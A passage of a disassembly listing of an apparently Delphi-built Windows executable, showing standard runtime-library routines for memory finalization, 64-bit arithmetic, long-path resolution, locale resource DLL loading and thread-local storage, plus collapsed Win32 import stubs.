call sub_402DB0 dec edi jg short loc_402CE9 jmp short loc_402D57 ; --------------------------------------------------------------------------- loc_402CF8: ; CODE XREF: sub_402C70+28j push ebp mov ebp, edx loc_402CFB: ; CODE XREF: sub_402C70+A1j mov edx, [esi+ebp+0Ah] mov eax, ebx add ebx, [esi+ebp+2] mov ecx, [esi+ebp+6] mov edx, [edx] call sub_402C70 dec edi jg short loc_402CFB pop ebp jmp short loc_402D57 ; --------------------------------------------------------------------------- loc_402D16: ; CODE XREF: sub_402C70+2Cj push ebp mov ebp, edx loc_402D19: ; CODE XREF: sub_402C70+B7j mov eax, ebx add ebx, [esi+ebp+2] mov edx, esi call sub_402C3C dec edi jg short loc_402D19 pop ebp jmp short loc_402D57 ; --------------------------------------------------------------------------- loc_402D2C: ; CODE XREF: sub_402C70+30j ; sub_402C70+C7j mov eax, ebx add ebx, 4 call sub_403398 dec edi jg short loc_402D2C jmp short loc_402D57 ; --------------------------------------------------------------------------- loc_402D3B: ; CODE XREF: sub_402C70+38j ; sub_402C70+D8j mov eax, ebx mov edx, esi add ebx, 4 call sub_402E80 dec edi jg short loc_402D3B jmp short loc_402D57 ; --------------------------------------------------------------------------- loc_402D4C: ; CODE XREF: sub_402C70+3Ej pop edi pop esi pop ebx pop eax mov al, 2 jmp loc_4012D8 ; --------------------------------------------------------------------------- loc_402D57: ; CODE XREF: sub_402C70+4Fj ; sub_402C70+5Bj ... pop edi pop esi pop ebx pop eax locret_402D5B: ; CODE XREF: sub_402C70+3j retn sub_402C70 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= sub_402D60 proc near ; CODE XREF: CODE:00402D77p ; DATA XREF: sub_402D80:loc_402D87o mov al, 10h jmp loc_4012D8 sub_402D60 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_402D68: ; DATA XREF: sub_402D80+14o mov ax, [eax] sub ax, 2 jb short locret_402D7C sub ax, 8 jz short locret_402D7C call sub_402D60 locret_402D7C: ; CODE XREF: CODE:00402D6Fj ; CODE:00402D75j retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402D80 proc near ; CODE XREF: sub_403450+1Dp mov edx, offset dword_40A5DC xor eax, eax loc_402D87: ; CODE XREF: sub_402D80+12j mov dword ptr [edx+eax*4], offset sub_402D60 inc eax cmp eax, 2Bh jnz short loc_402D87 mov eax, offset loc_402D68 mov ds:dword_40A5DC, eax retn sub_402D80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402DA0 proc near ; CODE XREF: sub_402DB0+1p jmp ds:dword_40A5DC sub_402DA0 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402DA8 proc near ; CODE XREF: sub_4046AC+Ap jmp ds:dword_40A608 sub_402DA8 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402DB0 proc near ; CODE XREF: sub_402C70+7Ep push eax call sub_402DA0 pop eax retn sub_402DB0 endp ; =============== S U B R O U T I N E ======================================= sub_402DB8 proc near ; DATA XREF: sub_403450+13o mov al, 11h jmp loc_4012D8 sub_402DB8 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_402DC0 proc near ; CODE XREF: sub_404520+43p ; sub_404520+5Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edx push eax mov eax, [esp+8+arg_4] mul [esp+8+var_8] mov ecx, eax mov eax, [esp+8+var_4] mul [esp+8+arg_0] add ecx, eax mov eax, [esp+8+var_8] mul [esp+8+arg_0] add edx, ecx pop ecx pop ecx retn 8 sub_402DC0 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_402DE4 proc near ; CODE XREF: sub_4048B9+38p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebp push ebx push esi push edi mov ebx, [esp+10h+arg_0] mov ecx, [esp+10h+arg_4] or ecx, ecx jnz short loc_402DFC or edx, edx jz short loc_402E27 or ebx, ebx jz short loc_402E27 loc_402DFC: ; CODE XREF: sub_402DE4+Ej mov ebp, ecx mov ecx, 40h xor edi, edi xor esi, esi loc_402E07: ; CODE XREF: sub_402DE4:loc_402E1Ej shl eax, 1 rcl edx, 1 rcl esi, 1 rcl edi, 1 cmp edi, ebp jb short loc_402E1E ja short loc_402E19 cmp esi, ebx jb short loc_402E1E loc_402E19: ; CODE XREF: sub_402DE4+2Fj sub esi, ebx sbb edi, ebp inc eax loc_402E1E: ; CODE XREF: sub_402DE4+2Dj ; sub_402DE4+33j loop loc_402E07 loc_402E20: ; CODE XREF: sub_402DE4+47j pop edi pop esi pop ebx pop ebp retn 8 ; --------------------------------------------------------------------------- loc_402E27: ; CODE XREF: sub_402DE4+12j ; sub_402DE4+16j div ebx xor edx, edx jmp short loc_402E20 sub_402DE4 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402E30 proc near ; CODE XREF: sub_4048B9+15p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebp push ebx push esi push edi mov ebx, [esp+10h+arg_0] mov ecx, [esp+10h+arg_4] or ecx, ecx jnz short loc_402E48 or edx, edx jz short loc_402E77 or ebx, ebx jz short loc_402E77 loc_402E48: ; CODE XREF: sub_402E30+Ej mov ebp, ecx mov ecx, 40h xor edi, edi xor esi, esi loc_402E53: ; CODE XREF: sub_402E30:loc_402E6Aj shl eax, 1 rcl edx, 1 rcl esi, 1 rcl edi, 1 cmp edi, ebp jb short loc_402E6A ja short loc_402E65 cmp esi, ebx jb short loc_402E6A loc_402E65: ; CODE XREF: sub_402E30+2Fj sub esi, ebx sbb edi, ebp inc eax loc_402E6A: ; CODE XREF: sub_402E30+2Dj ; sub_402E30+33j loop loc_402E53 mov eax, esi mov edx, edi loc_402E70: ; CODE XREF: sub_402E30+4Cj pop edi pop esi pop ebx pop ebp retn 8 ; --------------------------------------------------------------------------- loc_402E77: ; CODE XREF: sub_402E30+12j ; sub_402E30+16j div ebx xchg eax, edx xor edx, edx jmp short loc_402E70 sub_402E30 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402E80 proc near ; CODE XREF: sub_402C70+D2p ; sub_406B98+85p ... mov ecx, [eax] test ecx, ecx jz short locret_402EB8 mov dword ptr [eax], 0 dec dword ptr [ecx-8] jnz short locret_402EB8 push eax mov eax, ecx xor ecx, ecx mov cl, [edx+1] mov edx, [ecx+edx+6] test edx, edx jz short loc_402EAF mov ecx, [eax-4] test ecx, ecx jz short loc_402EAF mov edx, [edx] call sub_402C70 loc_402EAF: ; CODE XREF: sub_402E80+1Fj ; sub_402E80+26j sub eax, 8 call sub_401218 pop eax locret_402EB8: ; CODE XREF: sub_402E80+4j ; sub_402E80+Fj retn sub_402E80 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402EBC proc near ; CODE XREF: sub_402F04+1Bp Filename = byte ptr -110h push ebx push esi add esp, 0FFFFFEF8h mov ebx, eax cmp dword ptr [ebx+10h], 0 jnz short loc_402EF7 push 105h ; nSize lea eax, [esp+114h+Filename] push eax ; lpFilename mov eax, [ebx+4] push eax ; hModule call GetModuleFileNameA mov eax, esp mov dl, 1 call sub_4030F8 mov esi, eax mov [ebx+10h], esi test esi, esi jnz short loc_402EF7 mov eax, [ebx+4] mov [ebx+10h], eax loc_402EF7: ; CODE XREF: sub_402EBC+Ej ; sub_402EBC+33j mov eax, [ebx+10h] add esp, 108h pop esi pop ebx retn sub_402EBC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402F04 proc near ; CODE XREF: sub_4033B0+2Bp ; CODE:00405794p ... mov edx, ds:dword_409020 test edx, edx jz short locret_402F2B loc_402F0E: ; CODE XREF: sub_402F04+25j cmp eax, [edx+4] jz short loc_402F1D cmp eax, [edx+8] jz short loc_402F1D cmp eax, [edx+0Ch] jnz short loc_402F25 loc_402F1D: ; CODE XREF: sub_402F04+Dj ; sub_402F04+12j mov eax, edx call sub_402EBC retn ; --------------------------------------------------------------------------- loc_402F25: ; CODE XREF: sub_402F04+17j mov edx, [edx] test edx, edx jnz short loc_402F0E locret_402F2B: ; CODE XREF: sub_402F04+8j retn sub_402F04 endp ; =============== S U B R O U T I N E ======================================= sub_402F2C proc near ; CODE XREF: sub_402F40+83p ; sub_402F40+96p ... jmp short loc_402F34 ; --------------------------------------------------------------------------- loc_402F2E: ; CODE XREF: sub_402F2C+11j push eax ; lpsz call CharNextA loc_402F34: ; CODE XREF: sub_402F2Cj mov dl, [eax] test dl, dl jz short locret_402F3F cmp dl, 5Ch jnz short loc_402F2E locret_402F3F: ; CODE XREF: sub_402F2C+Cj retn sub_402F2C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402F40 proc near ; CODE XREF: sub_4030F8+A3p String1 = byte ptr -24Fh FindFileData = _WIN32_FIND_DATAA ptr -14Ah iMaxLength = dword ptr -8 lpString2 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFDB0h push ebx push esi push edi mov [ebp+iMaxLength], edx mov [ebp+lpString2], eax mov eax, [ebp+lpString2] mov dword ptr [ebp+FindFileData._padding], eax push offset ModuleName ; "kernel32.dll" call GetModuleHandleA mov esi, eax test esi, esi jz short loc_402FA8 push offset ProcName ; "GetLongPathNameA" push esi ; hModule call GetProcAddress mov ebx, eax test ebx, ebx jz short loc_402FA8 push 105h lea eax, [ebp+String1] push eax mov eax, [ebp+lpString2] push eax call ebx test eax, eax jz short loc_402FA8 mov eax, [ebp+iMaxLength] push eax ; iMaxLength lea eax, [ebp+String1] push eax ; lpString2 mov eax, [ebp+lpString2] push eax ; lpString1 call lstrcpynA jmp loc_4030CA ; --------------------------------------------------------------------------- loc_402FA8: ; CODE XREF: sub_402F40+26j ; sub_402F40+37j ... mov eax, [ebp+lpString2] cmp byte ptr [eax], 5Ch jnz short loc_402FE8 mov eax, [ebp+lpString2] cmp byte ptr [eax+1], 5Ch jnz loc_4030CA mov eax, [ebp+lpString2] add eax, 2 call sub_402F2C mov esi, eax cmp byte ptr [esi], 0 jz loc_4030CA lea eax, [esi+1] call sub_402F2C mov esi, eax cmp byte ptr [esi], 0 jz loc_4030CA jmp short loc_402FEE ; --------------------------------------------------------------------------- loc_402FE8: ; CODE XREF: sub_402F40+6Ej mov esi, [ebp+lpString2] add esi, 2 loc_402FEE: ; CODE XREF: sub_402F40+A6j mov ebx, esi sub ebx, [ebp+lpString2] lea eax, [ebx+1] push eax ; iMaxLength mov eax, [ebp+lpString2] push eax ; lpString2 lea eax, [ebp+String1] push eax ; lpString1 call lstrcpynA jmp loc_4030AD ; --------------------------------------------------------------------------- loc_40300C: ; CODE XREF: sub_402F40+170j lea eax, [esi+1] call sub_402F2C mov edi, eax mov eax, edi sub eax, esi mov edx, eax add edx, ebx inc edx cmp edx, 105h jg loc_4030CA inc eax push eax ; iMaxLength push esi ; lpString2 lea eax, [ebp+String1] add eax, ebx push eax ; lpString1 call lstrcpynA lea eax, [ebp+FindFileData] push eax ; lpFindFileData lea eax, [ebp+String1] push eax ; lpFileName call FindFirstFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4030CA push esi ; hFindFile call FindClose lea eax, [ebp+FindFileData.cFileName] push eax ; lpString call lstrlenA lea edx, [ebx+1] add eax, edx inc eax cmp eax, 105h jg short loc_4030CA mov [ebp+ebx+String1], 5Ch mov eax, 105h sub eax, ebx dec eax push eax ; iMaxLength lea eax, [ebp+FindFileData.cFileName] push eax ; lpString2 lea eax, [ebp+String1] add eax, ebx inc eax push eax ; lpString1 call lstrcpynA lea eax, [ebp+FindFileData.cFileName] push eax ; lpString call lstrlenA inc eax add ebx, eax mov esi, edi loc_4030AD: ; CODE XREF: sub_402F40+C7j cmp byte ptr [esi], 0 jnz loc_40300C mov eax, [ebp+iMaxLength] push eax ; iMaxLength lea eax, [ebp+String1] push eax ; lpString2 mov eax, [ebp+lpString2] push eax ; lpString1 call lstrcpynA loc_4030CA: ; CODE XREF: sub_402F40+63j ; sub_402F40+77j ... mov eax, dword ptr [ebp+FindFileData._padding] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_402F40 endp ; --------------------------------------------------------------------------- ; char ModuleName[] ModuleName db 'kernel32.dll',0 ; DATA XREF: sub_402F40+18o align 4 ; char ProcName[] ProcName db 'GetLongPathNameA',0 ; DATA XREF: sub_402F40+28o align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4030F8 proc near ; CODE XREF: sub_402EBC+27p ValueName = byte ptr -11Dh cbData = dword ptr -18h String2 = byte ptr -12h var_E = byte ptr -0Eh LCData = byte ptr -0Dh var_B = byte ptr -0Bh hKey = dword ptr -8 lpString2 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFEE0h push ebx push esi mov [ebp+lpString2], eax push 105h ; nSize lea eax, [ebp+ValueName] push eax ; lpFilename push 0 ; hModule call GetModuleFileNameA mov [ebp+String2], 0 lea eax, [ebp+hKey] push eax ; phkResult push 0F0019h ; samDesired push 0 ; ulOptions push offset SubKey ; "Software\\Borland\\Locales" push 80000001h ; hKey call RegOpenKeyExA test eax, eax jz short loc_40317B lea eax, [ebp+hKey] push eax ; phkResult push 0F0019h ; samDesired push 0 ; ulOptions push offset SubKey ; "Software\\Borland\\Locales" push 80000002h ; hKey call RegOpenKeyExA test eax, eax jz short loc_40317B lea eax, [ebp+hKey] push eax ; phkResult push 0F0019h ; samDesired push 0 ; ulOptions push offset aSoftwareBorl_0 ; "Software\\Borland\\Delphi\\Locales" push 80000001h ; hKey call RegOpenKeyExA test eax, eax jnz loc_403204 loc_40317B: ; CODE XREF: sub_4030F8+41j ; sub_4030F8+5Fj xor eax, eax push ebp push offset loc_4031FD push dword ptr fs:[eax] mov fs:[eax], esp mov [ebp+cbData], 5 lea eax, [ebp+ValueName] mov edx, 105h call sub_402F40 lea eax, [ebp+cbData] push eax ; lpcbData lea eax, [ebp+String2] push eax ; lpData push 0 ; lpType push 0 ; lpReserved lea eax, [ebp+ValueName] push eax ; lpValueName mov eax, [ebp+hKey] push eax ; hKey call RegQueryValueExA test eax, eax jz short loc_4031E2 lea eax, [ebp+cbData] push eax ; lpcbData lea eax, [ebp+String2] push eax ; lpData push 0 ; lpType push 0 ; lpReserved push offset ValueName ; lpValueName mov eax, [ebp+hKey] push eax ; hKey call RegQueryValueExA test eax, eax jz short loc_4031E2 mov [ebp+String2], 0 loc_4031E2: ; CODE XREF: sub_4030F8+C6j ; sub_4030F8+E4j mov [ebp+var_E], 0 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_403204 loc_4031F3: ; CODE XREF: sub_4030F8+10Aj mov eax, [ebp+hKey] push eax ; hKey call RegCloseKey retn ; --------------------------------------------------------------------------- loc_4031FD: ; DATA XREF: sub_4030F8+86o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_4031F3 ; --------------------------------------------------------------------------- loc_403204: ; CODE XREF: sub_4030F8+7Dj ; sub_4030F8+104j ; DATA XREF: ... push 105h ; iMaxLength mov eax, [ebp+lpString2] push eax ; lpString2 lea eax, [ebp+ValueName] push eax ; lpString1 call lstrcpynA push 5 ; cchData lea eax, [ebp+LCData] push eax ; lpLCData push 3 ; LCType call GetThreadLocale push eax ; Locale call GetLocaleInfoA xor esi, esi cmp [ebp+ValueName], 0 jz loc_40331E cmp [ebp+LCData], 0 jnz short loc_40324B cmp [ebp+String2], 0 jz loc_40331E loc_40324B: ; CODE XREF: sub_4030F8+147j lea eax, [ebp+ValueName] push eax ; lpString call lstrlenA mov ebx, eax lea eax, [ebp+ValueName] add ebx, eax jmp short loc_403264 ; --------------------------------------------------------------------------- loc_403263: ; CODE XREF: sub_4030F8+179j dec ebx loc_403264: ; CODE XREF: sub_4030F8+169j cmp byte ptr [ebx], 2Eh jz short loc_403273 lea eax, [ebp+ValueName] cmp ebx, eax jnz short loc_403263 loc_403273: ; CODE XREF: sub_4030F8+16Fj lea eax, [ebp+ValueName] cmp ebx, eax jz loc_40331E inc ebx cmp [ebp+String2], 0 jz short loc_4032B0 mov edx, ebx sub edx, eax mov eax, 105h sub eax, edx push eax ; iMaxLength lea eax, [ebp+String2] push eax ; lpString2 push ebx ; lpString1 call lstrcpynA push 2 ; dwFlags push 0 ; hFile lea eax, [ebp+ValueName] push eax ; lpLibFileName call LoadLibraryExA mov esi, eax loc_4032B0: ; CODE XREF: sub_4030F8+18Ej test esi, esi jnz short loc_40331E cmp [ebp+LCData], 0 jz short loc_40331E lea eax, [ebp+ValueName] mov edx, ebx sub edx, eax mov eax, 105h sub eax, edx push eax ; iMaxLength lea eax, [ebp+LCData] push eax ; lpString2 push ebx ; lpString1 call lstrcpynA push 2 ; dwFlags push 0 ; hFile lea eax, [ebp+ValueName] push eax ; lpLibFileName call LoadLibraryExA mov esi, eax test esi, esi jnz short loc_40331E mov [ebp+var_B], 0 lea eax, [ebp+ValueName] mov edx, ebx sub edx, eax mov eax, 105h sub eax, edx push eax ; iMaxLength lea eax, [ebp+LCData] push eax ; lpString2 push ebx ; lpString1 call lstrcpynA push 2 ; dwFlags push 0 ; hFile lea eax, [ebp+ValueName] push eax ; lpLibFileName call LoadLibraryExA mov esi, eax loc_40331E: ; CODE XREF: sub_4030F8+13Dj ; sub_4030F8+14Dj ... mov eax, esi pop esi pop ebx mov esp, ebp pop ebp retn sub_4030F8 endp ; --------------------------------------------------------------------------- align 4 ; char SubKey[] SubKey db 'Software\Borland\Locales',0 ; DATA XREF: sub_4030F8+30o ; sub_4030F8+4Eo align 4 ; char aSoftwareBorl_0[] aSoftwareBorl_0 db 'Software\Borland\Delphi\Locales',0 ; DATA XREF: sub_4030F8+6Co ; char ValueName[] ValueName db 4 dup(0) ; DATA XREF: sub_4030F8+D4o ; =============== S U B R O U T I N E ======================================= sub_403368 proc near ; CODE XREF: sub_403518+5p mov edx, ds:dword_409020 mov [eax], edx mov ds:dword_409020, eax retn sub_403368 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_403378 proc near ; CODE XREF: sub_4024E0+66p ; DATA XREF: DATA:off_409028o push ebx push esi mov esi, eax mov ebx, ds:dword_409024 test ebx, ebx jz short loc_403392 loc_403386: ; CODE XREF: sub_403378+18j mov eax, [esi+4] call dword ptr [ebx+4] mov ebx, [ebx] test ebx, ebx jnz short loc_403386 loc_403392: ; CODE XREF: sub_403378+Cj pop esi pop ebx retn sub_403378 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_403398 proc near ; CODE XREF: sub_402C70+C1p mov edx, [eax] test edx, edx jz short locret_4033AC mov dword ptr [eax], 0 push eax push edx mov eax, [edx] call dword ptr [eax+8] pop eax locret_4033AC: ; CODE XREF: sub_403398+4j retn sub_403398 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4033B0 proc near ; CODE XREF: sub_402464+16p ; sub_4051B0+2Ep ... Buffer = byte ptr -408h push ebx push esi add esp, 0FFFFFC00h mov esi, edx mov ebx, eax test ebx, ebx jz short loc_4033FD cmp dword ptr [ebx+4], 10000h jge short loc_4033F3 push 400h ; cchBufferMax lea eax, [esp+40Ch+Buffer] push eax ; lpBuffer mov eax, [ebx+4] push eax ; uID mov eax, [ebx] mov eax, [eax] call sub_402F04 push eax ; hInstance call LoadStringA mov ecx, eax mov edx, esp mov eax, esi call sub_4026B4 jmp short loc_4033FD ; --------------------------------------------------------------------------- loc_4033F3: ; CODE XREF: sub_4033B0+17j mov eax, esi mov edx, [ebx+4] call sub_40279C loc_4033FD: ; CODE XREF: sub_4033B0+Ej ; sub_4033B0+41j add esp, 400h pop esi pop ebx retn sub_4033B0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403408 proc near ; DATA XREF: CODE:00407B34o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_403444 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_40A5A4 jnz short loc_403436 cmp ds:dword_40A5D8, 0 jz short loc_403430 call ds:dword_40A5D8 loc_403430: ; CODE XREF: sub_403408+20j call ds:off_409040 loc_403436: ; CODE XREF: sub_403408+17j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40344B loc_403443: ; CODE XREF: sub_403408+41j retn ; --------------------------------------------------------------------------- loc_403444: ; DATA XREF: sub_403408+6o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_403443 ; --------------------------------------------------------------------------- loc_40344B: ; CODE XREF: sub_403408:loc_403443j ; DATA XREF: sub_403408+36o pop ebp retn sub_403408 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_403450 proc near ; DATA XREF: CODE:00407B30o sub ds:dword_40A5A4, 1 jnb short locret_40347C call GetProcessHeap mov ds:hHeap, eax mov ds:dword_40A000, offset sub_402DB8 call sub_402D80 call GetCurrentThreadId mov ds:dword_40A030, eax locret_40347C: ; CODE XREF: sub_403450+7j retn sub_403450 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_403480 proc near ; CODE XREF: sub_403494+21p push eax ; uBytes push 40h ; uFlags call LocalAlloc retn sub_403480 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40348C proc near ; CODE XREF: sub_403494+1p mov eax, 8 retn sub_40348C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_403494 proc near ; CODE XREF: sub_4034D8:loc_4034F2p push ebx call sub_40348C mov ebx, eax test ebx, ebx jz short loc_4034D6 cmp ds:TlsIndex, 0FFFFFFFFh jnz short loc_4034B3 mov eax, 0E2h call sub_4025BC ; --------------------------------------------------------------------------- loc_4034B3: ; CODE XREF: sub_403494+13j mov eax, ebx call sub_403480 test eax, eax jnz short loc_4034CA mov eax, 0E2h call sub_4025BC ; --------------------------------------------------------------------------- jmp short loc_4034D6 ; --------------------------------------------------------------------------- loc_4034CA: ; CODE XREF: sub_403494+28j push eax ; lpTlsValue mov eax, ds:TlsIndex push eax ; dwTlsIndex call TlsSetValue loc_4034D6: ; CODE XREF: sub_403494+Aj ; sub_403494+34j pop ebx retn sub_403494 endp ; =============== S U B R O U T I N E ======================================= sub_4034D8 proc near ; CODE XREF: sub_40128C+20p ; sub_4012E4+3p ... mov cl, ds:byte_40A688 mov eax, ds:TlsIndex test cl, cl jnz short loc_40350D mov edx, large fs:2Ch mov eax, [edx+eax*4] retn ; --------------------------------------------------------------------------- loc_4034F2: ; CODE XREF: sub_4034D8+3Dj call sub_403494 mov eax, ds:TlsIndex push eax ; dwTlsIndex call TlsGetValue test eax, eax jz short loc_403507 retn ; --------------------------------------------------------------------------- loc_403507: ; CODE XREF: sub_4034D8+2Cj mov eax, ds:dword_40A69C retn ; --------------------------------------------------------------------------- loc_40350D: ; CODE XREF: sub_4034D8+Dj push eax ; dwTlsIndex call TlsGetValue test eax, eax jz short loc_4034F2 retn sub_4034D8 endp ; =============== S U B R O U T I N E ======================================= sub_403518 proc near ; CODE XREF: sub_403524+2Ep mov eax, offset dword_409094 call sub_403368 retn sub_403518 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_403524 proc near ; CODE XREF: CODE:00407B87p push ebx mov ebx, eax xor eax, eax mov ds:TlsIndex, eax push 0 ; lpModuleName call GetModuleHandleA mov ds:dword_40A694, eax mov eax, ds:dword_40A694 mov ds:dword_409098, eax xor eax, eax mov ds:dword_40909C, eax xor eax, eax mov ds:dword_4090A0, eax call sub_403518 mov edx, offset dword_409094 mov eax, ebx call sub_402428 pop ebx retn sub_403524 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403568 proc near ; DATA XREF: CODE:00407B2Co push ebp mov ebp, esp xor eax, eax push ebp push offset loc_40358D push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_40A698 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_403594 loc_40358C: ; CODE XREF: sub_403568+2Aj retn ; --------------------------------------------------------------------------- loc_40358D: ; DATA XREF: sub_403568+6o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_40358C ; --------------------------------------------------------------------------- loc_403594: ; CODE XREF: sub_403568:loc_40358Cj ; DATA XREF: sub_403568+1Fo pop ebp retn sub_403568 endp ; --------------------------------------------------------------------------- align 4 loc_403598: ; DATA XREF: CODE:off_407B28o sub ds:dword_40A698, 1 retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4035A0 proc near ; DATA XREF: CODE:00407B3Co push ebp mov ebp, esp xor eax, eax push ebp push offset loc_4035C5 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_40A6A0 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4035CC loc_4035C4: ; CODE XREF: sub_4035A0+2Aj retn ; --------------------------------------------------------------------------- loc_4035C5: ; DATA XREF: sub_4035A0+6o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_4035C4 ; --------------------------------------------------------------------------- loc_4035CC: ; CODE XREF: sub_4035A0:loc_4035C4j ; DATA XREF: sub_4035A0+1Fo pop ebp retn sub_4035A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4035D0 proc near ; DATA XREF: CODE:00407B38o sub ds:dword_40A6A0, 1 retn sub_4035D0 endp ; [00000006 BYTES: COLLAPSED FUNCTION GetUserNameA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION CreateDirectoryA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION EnumCalendarInfoA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION FileTimeToDosDateTime. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION FileTimeToLocalFileTime. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION FindClose_0. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION FindFirstFileA_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetACP. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetCPInfo. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetCurrentDirectoryA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetDiskFreeSpaceA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetEnvironmentVariableA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetLocaleInfoA_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetModuleFileNameA_0. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetModuleHandleA_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetProcAddress_0. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetStdHandle_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetStringTypeExA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetThreadLocale_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetVersionExA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION LoadLibraryA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION TerminateProcess. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION VirtualQuery. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION WriteFile_0. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION CharNextA_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetSystemMetrics. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION LoadStringA_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION MessageBoxA. PRESS KEYPAD "+" TO EXPAND] align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4036B8 proc near ; DATA XREF: CODE:00407B44o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_4036DD push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_40A6A4 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4036E4 loc_4036DC: ; CODE XREF: sub_4036B8+2Aj 